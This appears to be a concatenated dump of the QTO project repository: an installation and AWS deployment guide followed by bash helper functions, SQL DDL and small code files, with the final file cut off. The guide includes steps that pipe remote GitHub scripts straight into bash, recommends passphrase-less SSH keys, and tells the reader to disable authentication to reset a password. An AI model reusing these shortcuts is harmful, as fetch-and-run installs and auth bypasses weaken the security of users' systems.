~/opt/qto/qto.$VERSION.$ENV.$USER # start the web server bash src/bash/qto/qto.sh -a mojo-hypnotoad-start ### 2.11. Create and start the tst instance The development product instance dir is aimed for development on that machine. You would need at least a testing and production environments according to QTO's (and a lot more applications out there) best practices. bash ./src/bash/qto/qto.sh -a to-env=tst # now to to the TST product instance directory cd ~/opt/qto/qto.$VERSION.tst.$USER ### 2.12. Check application layer syntax, load DB data You can concatenate multiple shell-actions with the -a &lt;&lt;shell-action-01&gt;&gt; -a &lt;&lt;shell-action-02&gt;&gt; and so on. This actions will: - check the application layer syntax - provision the DB admin credentials in Postgres - run all the DDL's of the db - load the DB data from s3 ./src/bash/qto/qto.sh -a check-perl-syntax -a provision-db-admin -a run-qto-db-ddl -a load-db-data-from-s3 ### 2.13. Start the tst instance The hypnotoad starting script ALWAYS checks whether or not you have public and private files for the JWT auth and, if you do not have them, it will create them only once. So hit Enter or type a password when executing the action for the first time. bash src/bash/qto/qto.sh -a mojo-hypnotoad-start ## 3. FIRST TIME AWS DEPLOYMENT This section WILL provide you will with ALL required steps to get a fully functional instance of the QTO application in AWS in about 35 min with automated shell commands. Do just copy paste the commands into your shell. Do NOT cd into different directories - this deployment has been tested more than 40 times by multiple professionals and successfully by exactly reproducing those steps, yet the variables in such a complex deployment are many, thus should you encounter new issues do directly contact the owner of the instance you got this deployment package from, that is the person owning the GitHub repository you fetched the source code from. ### 3.1. AWS centric infrastructure as a code related intro This installation is not truly idempotent, meaning that not all infra resources with the same names are deleted - you might need to go and manually delete objects from the AWS admin console, IF you are running this installation for more than two times on the same environments. If you are using the same AWS account for all your environments - that is dev, tst and prd - you can be sure that this installation has been tested for FULL logical and physical separation of your provisioned QTO resources by environment - simply said whatever you deploy to dev, will not brake anything in tst and/or prod. ### 3.2. Prerequisites You should have a local instance of QTO as far as you could issue the terraform shell action - DB and site configuration are not must have for the AWS deployment to succeed. #### 3.2.1. Configure the AdminEmail The AdminEmail value stored in the cnf/env/*.env.json files is the e-mail of the QTO product instance owner - aka the only user being able to edit other users' details. #### 3.2.2. Create a pem file for deployment Point your browser at the following URL: https://eu-west-1.console.aws.amazon.com/ec2/v2/home?region=&lt;&lt;your-region&gt;&gt;#KeyPairs: Click on the create key-pair button. For the name of the file add the following : key-pair-qto-amzn. Download the file and save it into the ~/.ssh dir of the satellite host: ls -la ~/.ssh/key-pair-qto-amzn.pem chmod 0400 ~/.ssh/key-pair-qto-amzn.pem -r-------- 1 ysg vboxsf 1670 maali 30 11:00 /home/ysg/.ssh/key-pair-qto-amzn.pem #### 3.2.3. Create AWS instance deployment keys You will use those deployment keys later on when you later on ssh -i &lt;&lt;full-deployment-key&gt;&gt; ubuntu@&lt;&lt;instance-dns&gt;&gt; # run on the satellite host # create the dev instance deployment key # of course you should use your own e-mail and NOT mine ;o) ssh-keygen -t rsa -b 4096 -C "<EMAIL>" -f ~/.ssh/id_rsa.aws-ec2.qto.dev # hit enter twice preferably , to not set up passwords .. # create the tst instance deployment key ssh-keygen -t rsa -b 4096 -C "<EMAIL>" -f ~/.ssh/id_rsa.aws-ec2.qto.tst # hit enter twice preferably , to not set up passwords .. # create the prd instance deployment key ssh-keygen -t rsa -b 4096 -C "<EMAIL>" -f ~/.ssh/id_rsa.aws-ec2.qto.prd # hit enter twice preferably , to not set up passwords .. #### 3.2.4. Configure your AWS credentials - AWS keys Generate NEW AWS access- and secret-keys https://console.aws.amazon.com/iam/home?region=&lt;&lt;YOUR-AWS-REGION&gt;&gt;#/security_credentials. Make sure both the aws_access_key_id and the aws_secret_access_key do NOT have the "+" and "-" chars in them, as the terraform binary will throw an error (chk: installations_doc-200330074044). Store the keys in the QTO's development environment configuration file - the cnf/env/dev.env.json file. Either configure your AWS with the AWS configure command or add the YOUR AWS access key id and AWS secret key id to the ~/.aws/credentials, which should look something like this: cat ~/.aws/credentials [prd-qto] aws_access_key_id = <KEY> aws_secret_access_key = <KEY> [tst-qto] aws_access_key_id = <KEY> aws_secret_access_key = <KEY> [dev-qto] aws_access_key_id = <KEY> aws_secret_access_key = <KEY> ### 3.3. Initialise AWS infrastructure To initialise the git AWS infrastructure you need to clone the QTO source code locally first. If you are repeating this task all over, you might need to remove from the AWS web UI duplicating VPCs and elastic IPs. # go to the product instance dir cd ~/opt/qto/qto.0.8.5.dev.$USER # apply the infra terraform in the src/terraform/tpl/qto/main.tf.tpl clear ; bash qto/src/bash/qto/qto.sh -a init-aws-instance ### 3.4. Set IP address for the host in DNS (optional) If you have registered your own DNS name, you should configure now the public IP address found in the Amazon ec2 instances section of the newly created host to the dns name you have registered with your DNS provider, as it usually takes some time for the DNS to replicate (with the qto.fi domain it takes about 5 min max, some DNS providers suggest even hours to be reserved, your mileage might vary). If you do not have a registered DNS, you could either use directly the IP address or the DNS name provided by amazon in the ec2 settings of the newly created host, in this case you should configure the same DNS in the cnf/etc/dev.env.json file (env-&gt;app-&gt;web_host variable) for nginx to be able to pick it in its own configuration. ### 3.5. Access AWS host via SSH To access the AWS host via SSH you need to copy the provided elastic IP which was created by the terraform script. In your browser go to the following URL: https://eu-west-1.console.aws.amazon.com/ec2/v2/home?region=&lt;&lt;YOUR-AWS-REGION&gt;&gt;#Instances:sort=instanceId You should see a listing of your AWS instances one of which should be named dev-qto-ec2 (that is the development instance of the QTO application). Click on its checkbox. Search for the "IPv4 Public IP" string and copy the value of the IP. # run locally ssh -i ~/.ssh/id_rsa.aws-ec2.qto.dev ubuntu@<<just-copied-IPv4-Public-IP>> # for example: # ssh -i ~/.ssh/id_rsa.aws-ec2.qto.dev [email protected] ### 3.6. Fetch the source code from GitHub on the aws server If you have not yet forked the qto to your GitHub do it now by forking it from the product instance owner's GitHub account - to be able to submit changes to YOUR OWN git repository during the installation. To fetch the source code from GitHub you need to have a full trust between the aws host and your GitHub account via public private ssh keys. In order to achieve that you need to put a public open-ssh key in the ssh keys section of your GitHub account in the GitHub web UI. If you know how-to do this you could skip the following automated run, but if you don't know than first run this script and do all the steps in the following this instruction: https://www.inmotionhosting.com/support/website/ssh/how-to-add-ssh-keys-to-your-github-account/ # on the AWS server export your_git_user_name=YordanGeorgiev #the one visible export your_email=<EMAIL> export your_initials=ysg # optionally run a provisioning script installing tmux, vim and automating the ssh keys creation curl https://raw.githubusercontent.com/$your_git_user_name/qto/master/src/bash/qto/scripts/setup-bash-tmux-vim.sh | bash -s $your_email $your_initials # if you know what tmux is start it now ... tmux # on the AWS server my_private_ssh_key_file=~/.ssh/id_rsa.$your_initials.`hostname -s` # each time you issue the git command in THIS shell, it will be referring to your private key file # which is the trusted one by GitHub because you added it's public key file to your settings ... alias git='GIT_SSH_COMMAND="ssh -i $my_private_ssh_key_file" git' # now you must be able to clone the project , without being asked for passwords mkdir -p ~/opt; cd $_ ; git clone <EMAIL>:$your_git_user_name/qto.git; cd ~/opt ### 3.7. Bootstrap and deploy the application on AWS instance The bootstrap script will deploy ALL the required Ubuntu 18.04 binaries AND Perl modules as well as perform the needed configurations to enable the creation and load of the QTO database. This step will take at least 20 min. The bootstrap script will perform the following actions: - install all the required binaries - install all the required Perl modules as non-root - install and provision Postgres - install and provision the nginx proxy server Copy paste the full command below - this is IMPORTANT !!! # run the bootstrap script and IMPORTANT !!! reload the bash shell bash ./qto/src/bash/deployer/run.sh ; bash ; # copy THIS line as well !!! Just to make sure the enter and ; from ^^^ line are copied too ### 3.8. Provision application in AWS instance in dev The run of the following "shell actions" will create the QTO database and load it with a snapshot of its data from a SQL dump stored in s3. # go to the product instance dir source $(find . -name '.env') && cd qto/qto.$VERSION.$ENV.$USER # ensure application layer consistency, run db ddl's and load data from s3 bash ./src/bash/qto/qto.sh -a check-perl-syntax -a scramble-confs -a provision-db-admin -a run-qto-db-ddl -a load-db-data-from-s3 ### 3.9. Edit the configuration file and start web server You need to set the web_host variable in the configuration files to the IP address or DNS name, if you have configured one for this IP address, otherwise your nginx configuration will be broken. The following command will both start the Mojolicious hypnotoad server initiating the QTO application layer and the nginx reverse proxy, which will listen on the app-&gt;port port defined in the cnf/env/dev.env.json file. # start the web server ./src/bash/qto/qto.sh -a mojo-hypnotoad-start ### 3.10. Access the QTO application from web The QTO web application is available at the following address http://&lt;&lt;just-copied-IPv4-Public-IP&gt;&gt;:8078 This should redirect you to the dev_qto/login page - this is the end-point via Mojolicious over http (NOT safe). http://&lt;&lt;just-copied-IPv4-Public-IP&gt;&gt;:78 This should redirect you to the dev_qto/login page - via the nginx proxy (SAFE) ### 3.11. Configure DNS Configure the DNS server name in the UI of your DNS provider. ### 3.12. Provision QTO web users Open the cnf/env/dev.env.json, change the env-&gt;AdminEmail with an e-mail you have access to. Restart the web servers as shown below. Login via web interface. # the start action performs restart as well, if the web servers are running ./src/bash/qto/qto.sh -a mojo-hypnotoad-start ### 3.13. Create the tst product instance If you revisit the target architecture picture(@installations_doc-10), the actions so far have been only the installations of the dev instance, which you should have be now up and running. QTO is designed around the idea of developing in dev (aka doing things for the first time and possibly with some errors), testing in tst (more of a testing and configuration allowed, but not developing with minor errors) and prd (where no errors are allowed and everything should go smoothly). Thus by now you have achieved only the dev instance deployment. ./src/bash/qto/qto.sh -a to-env=tst ### 3.14. Provision the tst database If you revisit the target architecture picture(installations_doc-10), the actions so far have been only the installations of the dev instance, which you should have be now up and running. QTO is designed around the idea of developing in dev (aka doing things for the first time and possibly with some errors), testing in tst (more of a testing and configuration allowed, but not developing with minor errors and prd (where no errors are allowed and everything should go smoothly). Thus by now you have achieved only the dev instance deployment ### 3.15. Fork production instance The creation of this one should succeed at once, as it is performed exactly in the same way as the creation of the testing (tst) instance. You "fork" the production instance by issuing the following command: # for the tst product instance into the prd product instance ./src/bash/qto/qto.sh -a to-env=prd # thus the find ~/opt/csitea/qto/ -type d -mindepth 1 -maxdepth /home/ubuntu/opt/csitea/qto/qto.0.7.8.dev.ysg /home/ubuntu/opt/csitea/qto/qto.0.7.8.tst.ysg /home/ubuntu/opt/csitea/qto/qto.0.7.8.prd.ysg ### 3.16. Provision prd DB The creation of prd instance should succeed at once, as it is performed exactly in the same way as the creation of the testing (tst) instance. You "fork" the production instance by issuing the following command: ./src/bash/qto/qto.sh -a check-perl-syntax -a scramble-confs -a provision-db-admin -a run-qto-db-ddl -a load-db-data-from-s3 ## 4. PROVISION HTTPS (ONLY IF DNS is configured) This section is separated, as it is optional. If you have configured DNS, you could provision https for the nginx server by issuing the following command: ./src/bash/qto/qto.sh -a provision-https sudo certbot --nginx -d <<your.organisation.com>> # you should get the following output #IMPORTANT NOTES: # - Unable to install the certificate # - Congratulations! Your certificate and chain have been saved at: # /etc/letsencrypt/live/qto.fi/fullchain.pem # Your key file has been saved at: # now re-run the bash src/bash/qto/qto.sh -a provision-nginx -a provision-https ### 4.1. Fork latest stable dev to tst By this point all obvious bugs within the scope of THIS release MUST be cleared out, if that is NOT the case, you are wasting your time by gaining wrong velocity to demonstrate some new cool features, which you WILL pay for later. # on your local dev box go the latest stable environment /hos/opt/csitea/qto/qto.0.7.9.dev.ysg bash src/bash/qto/qto.sh -a to-env=tst # now prepare the configuration in this environment on your local dev box cp -r /hos/opt/csitea/qto/qto.0.7.9.tst.ysg /hos/opt/csitea/qto/qto.0.7.9.tst.deploy # ensure you copy your non-hash and SECRET configuration to this instance cp -v ~/.qto/cnf/* cnf/env/ ### 4.2. Go to your previous environment Go to your old environment: it contains your configuration at least you could spare yourself for copy paste for the creating of the RIGHT configuration for your ENTIRELY new deployment built with the infrastructure as a code. Open the admin console: ssh -i /home/ysg/.ssh/id_rsa.prd.qto [email protected] ## 5. NON-FIRST TIME AWS DEPLOYMENT This section is aimed for the fortuned folks, who have already deployed at least one fully functional up-and-running instance of qto, thus it will assume already some familiarity. ### 5.1. Create AWS instance bash src/bash/qto/qto.sh -a init-aws-instance # after that ssh to -it ssh -i ~/.ssh/id_rsa.prd.qto [email protected] ### 5.2. Setup bash & vim This deployment script sets RATHER personal bash and tmux settings, which are NOT part of the QTO setup, but merely personal tools to navigate more easily in the terminal with bash, tmux and vim. curl https://raw.githubusercontent.com/YordanGeorgiev/ysg-confs/master/src/bash/deployer/setup-bash-n-vim.sh | bash -s <EMAIL> cat ~/ ### 5.3. Clone project to Guest server Connect via SSH to the target server and clone QTO Github repository as follows: cat ~/.ssh/ mkdir -p ~/opt; cd $_ ; git clone [email protected]:<<YourGitHubUserName>>/qto.git ; cd ~/opt ## 6. PHYSICAL HOST OS INSTALLATIONS ### 6.1. MacOs QTO has been developed mostly by using MacOs as the physical host OS. The next code section is probably obsolete, as you most probably have installed it as described here: https://treehouse.github.io/installation-guides/mac/homebrew ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" #### 6.1.1. Install QtPass QtPass is a password manager. Installing it is optional. https://sourceforge.net/p/gpgosx/docu/Download/ brew cask install qtpass ## 7. POTENTIAL PROBLEMS AND TROUBLESHOOTING As a rule of thumb, whatever errors you are encountering, they are most probably NOT source code errors, but configuration errors. Thus ALWAYS try to change configuration entries from the dev, tst or prd environment configuration files and restart the web server with the mojo-hypnotoad-start shell action. ### 7.1. Postgres admin user password is wrong Some of the newly created tables might not have their permissions in the DDLs. Or you might have run some of the SQL scripts ad-hoc / manually and they do not contain grant statements. The DB security is passed from OS root to Postgres user to QTO admin to QTO app, thus to fix it, run the following command, which will reprovision your Postgres and change DB user permissions. You will also need to restart the web server after. ./src/bash/qto/qto.sh -a provision-db-admin -a run-qto-db-ddl -a load-db-data-from-s3 -a fix-db-permissions ### 7.2. AWS was not able to validate the provided access credentials If that error occurs check your AWS credentials. Ensure that the AWS keys do not have the "+", "-" or "/" characters, as terraform does not support these symbols. data.aws_ami.ubuntu: Refreshing state... Error: AuthFailure: AWS was not able to validate the provided access credentials status code: 401, request id: 76ea7781-0bb5-4782-b358-f062c3de0a8b on main.tf line 8, in data "aws_ami" "ubuntu": 8: data "aws_ami" "ubuntu" { ### 7.3. Redis refuses to start Redis should be configured to have bind on the IP address of the first eth. Also the bind to the ipv6 should be commented out ( ## bind 127.0.0.1 ::1). You should have also the correct IP configured in the cnf/env/&lt;&lt;env&gt;&gt;.env.json files. Because otherwise the application cannot connect and store correctly the DB metadata during application startup. There might be still some bugs during the Redis provisioning in the src/bash/deployer/check-install-redis.func.sh file, run the installation from the top to bottom command by command. It may be worth checking redis.conf and make sure it is bound to a private IP, not a public one or localhost. sudo tail -n 10 /etc/redis/redis.conf # do not bind to ipv6 on the localhost # bind 127.0.0.1 ::1 # bind on the first eth0 ip address looking like 10.0.2.15 bind 10.0.62.82 # enable service mode supervised systemd ### -- Save redis.conf and return back to the Terminal # then restart Redis using this command in the terminal: sudo systemctl restart redis # you can verify that Redis is running in the following way: sudo systemctl status redis ### 7.4. Could not connect to Redis server Uncaught exception from user code: Can't load application from file "...": Could not connect to Redis server at host-name:6379. To fix this, first learn IPs of the current machine by running this command in the terminal: ifconfig -a | grep inet When working with virtual machines, search for the private IP that looks similar to 10.0.2.15. When working with AWS ec2 instance, IP will look like 172.31.25.82. Change Redis server IP inside %path-to-qto%/cnf/env/dev.env.json from host-name to the private IP. Then run mojo-hypnotoad again. ./src/bash/qto/qto.sh -a mojo-hypnotoad-start ### 7.5. You have reached the hw provisioning limits of your AWS account If you get one of the errors below, go the UI of the AWS admin console and delete non-used resources. Fortunately, all resources have the &lt;&lt;env&gt;&gt;_&lt;&lt;resource_name&gt;&gt; naming convention either in the object or in their Tags, which means you will know what you are deleting. Error: Error creating VPC: VpcLimitExceeded: The maximum number of VPCs has been reached. status code: 400, request id: 06dbd26c-d7b2-46e1-853f-a9131c6ad9bd on main.tf line 41, in resource "aws_vpc" "tst-vpc": 41: resource "aws_vpc" "tst-vpc" { # another one might be elastic ip's limits Error: Error creating EIP: AddressLimitExceeded: The maximum number of addresses has been reached. status code: 400, request id: 079d1264-8d2a-4dd3-9251-354634beda5c on main.tf line 203, in resource "aws_eip" "tst-ip-test": 203: resource "aws_eip" "tst-ip-test" { ### 7.6. Cannot login in web interface with admin user The password hashing in the users table is activated ALWAYS on blur even that the UI is not showing it (yes, that is more of a bug, than a feature). The solution is to restart the application layer WITHOUT any authentication, change the admin user password from the UI and restart the application layer with authentication once again. export QTO_NO_AUTH=1 bash src/bash/qto/qto.sh -a mojo-hypnotoad-start # now change the AdminEmail user password from the UI, delete the test users # as they all have the convenient "secret" password export QTO_NO_AUTH=0 bash src/bash/qto/qto.sh -a mojo-hypnotoad-start ### 7.7. Mismatch in the AWS The AWS web UI contains fancy Ajax calls and in our experience it does not always update properly, if are bombarding it with terraform deployments onto the same resources. Make sure you always hit F5 in your browser, when starting the work on new ec2 instance. ### 7.8. The problem occurred is not mentioned here ?! Try to Google it first. If it took too long, send an e-mail / chat invitation to the instance owner you got the source code from and you WILL get help sooner or later. <file_sep>#!/bin/bash #------------------------------------------------------------------------------ # usage example: # source $PRODUCT/lib/bash/funcs/export-json-section-vars.sh # do_export_json_section_vars cnf/env/dev.env.json '.env.db' # # alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U \ # ${postgres_sys_usr_admin:-} --port $postgres_rdbms_port --host $postgres_rdbms_host" #------------------------------------------------------------------------------ do_export_json_section_vars(){ json_file="$1" shift 1; test -f "$json_file" || echo "the json_file: $json_file does not exist !!! Nothing to do" test -f "$json_file" || exit 1 section="$1" test -z "$section" && echo "the section in do_export_json_section_vars is empty !!! Nothing to do !!!" test -z "$section" && exit 1 shift 1; echo "INFO exporting vars from cnf $json_file: " while read -r l ; do key=$(echo $l|cut -d'=' -f1|tr a-z A-Z) val=$(echo $l|cut -d'=' -f2) eval "$(echo -e 'export '$key=\"\"$val\"\")" echo "INFO $key=$val" done < <(cat "$json_file"| jq -r "$section"'|keys_unsorted[] as $key|"\($key)=\"\(.[$key])\""') } <file_sep># attempt to install terraform, if it is missing !!! Obs needs sudo !!! doChkInstallTerraform(){ which terraform 2>/dev/null || { ver='0.12.8' wget -O "/tmp/terraform_""$ver'_linux_amd64.zip" \ "https://releases.hashicorp.com/terraform/$ver/terraform_""$ver"'_linux_amd64.zip' sudo unzip -o "/tmp/terraform_""$ver'_linux_amd64.zip" -d '/usr/local/bin' terraform --version } which terraform 2>/dev/null || { echo >&2 "The terraform binary is missing ! Aborting ..."; exit 1; } which terraform && echo "ok" } <file_sep>const vm = new Vue({ el: '#app', data: { monthly_issues: [] }, mounted() { axios.get("/tst_qto/select/monthly_issues") .then(response => {this.monthly_issues = response.data.dat }) } }); <file_sep>pyyaml glob3 jinja2 pprintpp pprintjson requests jq <file_sep># file: src/bash/qto/funcs/generate-pdf-docs.func.sh doGenerateMsftDocs(){ test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z "${docs_root_dir-}" && docs_root_dir="$PROJ_INSTANCE_DIR" test -z ${PROJ_CONF_FILE-} && PROJ_CONF_FILE=$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json do_export_json_section_vars $PROJ_CONF_FILE '.env.app' # <<web-host>>:<<web-port>>/<<db>>/select/export_files?as=grid&od=id basic_url="$ht_protocol://${web_host:-}:${port:-}/${postgres_app_db:-}" furl="$basic_url"'/select/export_files?as=grid&od=id&pg-size=20' echo "running: curl --cookie ~/.qto/cookies.txt --insecure -s $furl \| jq -r '.dat[]|.url'" curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]|.url' ret=$? test $ret != "0" && do_exit $ret "failed to get data from the $furl" while read -r url ; do table_name=$(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]| select(.url=='\"$url\"')| .name'); file_name="$table_name.docx" rel_path=$(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]| select(.url=='\"$url\"')| .path'); [ "${rel_path-}" == "null" ] && rel_path="doc" rel_path="$rel_path/docx" mkdir -p $docs_root_dir/$rel_path file_path=$(echo $docs_root_dir/$rel_path/$file_name|perl -ne 's|[/]{2,5}|/|g;print') echo -e "\nrunning: python src/python/generate-docx.py $table_name" python3 src/python/generate-docx.py "$table_name" "$docs_root_dir/$rel_path" done < <(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]|.url') do_flush_screen } <file_sep>#!/bin/bash # v0.8.8 # --------------------------------------------------------- # call all the unit tests - fail if even one fails ... # --------------------------------------------------------- do_run_unit_tests(){ export PATH=$PATH:~/perl5/bin/ export PERL5LIB=${PERL5LIB:-}:~/perl5/lib/perl5/:$PRODUCT_DIR/src/perl/qto/t/lib:$PRODUCT_DIR/src/perl/qto/public/lib:$PRODUCT_DIR/src/perl/qto/lib export QTO_NO_AUTH=1 test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" # do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.db' do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.app' do_log "INFO START running the unit tests" while read -r f ; do do_log "INFO START unit test for $f" perl -MCarp::Always $f test $? -ne 0 && do_exit $? " the tests in the $f failed !!!" do_log "INFO STOP unit test for $f" sleep 1 do_flush_screen done < <(find src/perl/qto/t/lib/Qto/App -name '*.t' -type f |grep -v benchmarks |sort) export QTO_NO_AUTH=0 } <file_sep># src/bash/qto/funcs/backup-postgres-db.func.sh # --------------------------------------------------------- # create a full database backup containing db create clause # --------------------------------------------------------- doBackupPostgresDb(){ # test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.db' mix_data_dir="$PROJ_INSTANCE_DIR/dat/mix" backup_dir=$mix_data_dir/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d")/sql/$postgres_app_db backup_fname=$postgres_app_db.`date "+%Y%m%d_%H%M%S"`.full.dmp.sql test -d $backup_dir || mkdir -p $backup_dir which nmap 2>/dev/null && nmap -Pnv -p $postgres_rdbms_port $postgres_rdbms_host || \ do_exit 1 "cannot connect to $postgres_rdbms_port:$postgres_rdbms_host" PGPASSWORD="${postgres_sys_usr_admin_pw:-}" pg_dump -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -w --format=plain \ $postgres_app_db > $backup_dir/$backup_fname ls -1 $mix_data_dir/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d")/sql/$postgres_app_db/* | sort -nr echo -e "\n" wc -l $mix_data_dir/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d")/sql/$postgres_app_db/* | sort -nr sleep 1 echo "Full database backup completed successfully." } # eof file: src/bash/qto/funcs/backup-postgres-db.func.sh <file_sep>#!/bin/bash #------------------------------------------------------------------------------ # Purpose: # to search for a string and replace it with another recursively in a dir # both in dir and file paths and their contents # Prerequisites: setting vars in the caller shell # export dir_to_morph=<<the-dir-to-search-and-replace-in-recursively>> # export to_srch=<<the-string-to-search-for>> # export to_repl=<<the-string-to-replace-with>> # while read -r f ; do cp -v $f $(echo $f|perl -ne 's#func#help#g;print'|perl -ne # 's#src#doc#g;print'|perl -ne 's#bash#txt#g;print'|perl -ne 's#help.sh#help.txt#g;print') ; done < # <(find src/bash/run/ -type f) #------------------------------------------------------------------------------ do_morph_dir(){ # set -x # some initial checks the users should set the vars in their shells !!! test -z $dir_to_morph && { echo "You must export dir_to_morph=<<the-dir>> - it is empty !!!"; exit 1; } test -d $dir_to_morph || { echo "The dir to morph : \"$dir_to_morph\" is not a dir !!!"; exit 1; } test -z $to_srch && { echo "You must export to_srch=<<str-to-search-for>> - it is empty !!!"; exit 1; } test -z $to_repl && { echo "You must export to_repl=<<str-to-replace-with>> - it is empty !!!";exit 1; } do_log "INFO dir_to_morph: $dir_to_morph" do_log "INFO to_srch:\"$to_srch\" " ; do_log "INFO to_repl:\"$to_repl\" " ; sleep 2 do_log "INFO START :: search and replace in non-binary files" #search and replace ONLY in the txt files and omit the binary files while read -r file ; do ( #debug do_log doing find and replace in $file do_log "DEBUG working on file: $file" do_log "DEBUG searching for $to_srch , replacing with :: $to_repl" # we do not want to mess with out .git dir # or how-to check that a string contains another string case "$file" in *.git*) continue ;; esac perl -pi -e "s|\Q$to_srch\E|$to_repl|g" "$file" ); done < <(find $dir_to_morph -type f -not -path "*/.venv/*" -not -exec file {} \; | grep text | cut -d: -f1) do_log "INFO STOP :: search and replace in non-binary files" #search and repl %var_id% with var_id_val in deploy_tmp_dir do_log "INFO search and replace in dir and file paths dir_to_morph:$dir_to_morph" # rename the dirs according to the pattern while read -r dir ; do ( echo $dir|perl -nle '$o=$_;s#'"\Q$to_srch\E"'#'"$to_repl"'#g;$n=$_;`mkdir -p $n` ;' ); done < <(find $dir_to_morph -type d -not -path "*/.venv/*" \ -not -path "/*node_modules/*" |grep -v '.git') # rename the files according to the pattern while read -r file ; do ( echo $file | perl -nle '$o=$_;s|'"\Q$to_srch\E"'|'"$to_repl"'|g;$n=$_;rename($o,$n) unless -e $n ;' ); done < <(find $dir_to_morph -type f -not -path "*/.venv/*" \ -not -path "*/node_modules/*" |grep -v '.git') while read -r dir ; do ( rm -rv $dir ); done < <(find $dir_to_morph -type d -not -path "*/.venv/*" -not -path "/*node_modules/*" \ | grep -v '.git'|grep "$to_srch") export exit_code=0 } #eof file: src/bash/run/morph-dir.func.sh <file_sep># src/bash/qto/funcs/increase-date.test.sh doTestIncreaseDate() { set -eu sleep "$sleep_interval" run -a increase-date test $exit_code -ne 0 && return } <file_sep>-- DROP TABLE IF EXISTS projects ; SELECT 'create the "projects" table' ; CREATE TABLE projects ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'name...' , description varchar (4000) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_projects_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_projects_id on projects (id); -- the rank search index CREATE INDEX idx_rank_projects ON projects USING gin(to_tsvector('English', name || ' ' || description || 'owner')); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.projects'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_projects BEFORE UPDATE ON projects FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'projects'::regclass; <file_sep># src/bash/qto/funcs/run-integration-tests.test.sh # v1.3.0 doTestRunIntegrationTests(){ do_log "DEBUG START doTestRunIntegrationTests" # Action !!! bash src/bash/qto/qto.sh -a run-integration-tests do_log "DEBUG STOP doTestRunIntegrationTests" } # eof func doTestRunIntegrationTests # eof file: src/bash/qto/funcs/run-integration-tests.test.sh <file_sep># file: src/bash/qto/funcs/remove-all-docker-images.sh # v0.6.5 # --------------------------------------------------------- # remove all the docker images on the host with warning # and inform if none exists #$ docker system prune -a --volumes #$ docker image prune #$ docker container prune #$ docker volume prune #$ docker network prune # --------------------------------------------------------- doRemoveDockerImages(){ do_flush_screen do_log "INFO START removing all docker images !!! " do_log "INFO Are you SURE ??!! You have 3 seconds to abort by Ctrl + C !!" sleep 3 ret=$(docker images|grep qto-image|grep $product_version.$ENV|awk '{print $3}'|wc -l|perl -ne 's/\s+//g;print') if test $ret -eq 0 then do_log "INFO No docker images found. Nothing to do !!!" else docker rmi $(docker images | grep qto-image | grep $product_version.$ENV |awk '{print $3}') fi do_log "INFO STOP removing all the docker images" } # eof file: src/bash/qto/funcs/remove-all-docker-images.sh <file_sep># src/bash/qto/funcs/gmail-package.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpGmailPackage comments ... # --------------------------------------------------------- doHelpGmailPackage(){ do_log "DEBUG START doHelpGmailPackage" cat doc/txt/qto/helps/gmail-package.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpGmailPackage" } # eof func doHelpGmailPackage # eof file: src/bash/qto/funcs/gmail-package.help.sh <file_sep>#!/bin/bash do_restart_network(){ test -z ${USER:-} && export USER=$(echo $HOME|cut -d'/' -f 3) test `sudo -n -l -U $USER 2>&1 | egrep -c -i "not allowed to run sudo|unknown user"` -eq 0 \ || do_log "FATAL you need to have sudo to run this script !!!" sudo /etc/init.d/networking restart do_log "INFO start restarting postgres ..." sudo sh /etc/init.d/postgresql restart do_log "INFO stop restarting postgres ..." } <file_sep># src/bash/qto/funcs/run-functional-tests.help.sh # v1.0.9 # --------------------------------------------------------- # cat doc/txt/qto/helps/perl/run-functional-tests.help.txt # --------------------------------------------------------- doHelpRunFunctionalTests(){ do_log "DEBUG START doHelpRunFunctionalTests" sleep "$sleep_interval" # add your action implementation code here ... do_log "DEBUG STOP doHelpRunFunctionalTests" } # eof func doHelpRunFunctionalTests # eof file: src/bash/qto/funcs/run-functional-tests.help.sh <file_sep>-- file: src/sql/pgsql/list-postgres-schemas.sql -- usage: /** alias psql="PGPASSWORD=${postgres_app_usr_pw:-} psql -v -q -t -X -w -U ${postgres_app_usr:-}" alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -q -t -X -w -U ${postgres_sys_usr_admin:-}" psql -d dev_qto < src/sql/pgsql/list-postgres-schemas.sql | less */ select schema_name from information_schema.schemata; -- eof file: src/sql/pgsql/list-postgres-schemas.sql <file_sep># src/bash/qto/funcs/log-test-run-entry.func.sh # # --------------------------------------------------------- # provides a mean for registering test run log entries # Usage: # do_logTestRunEntry START "$msg" # 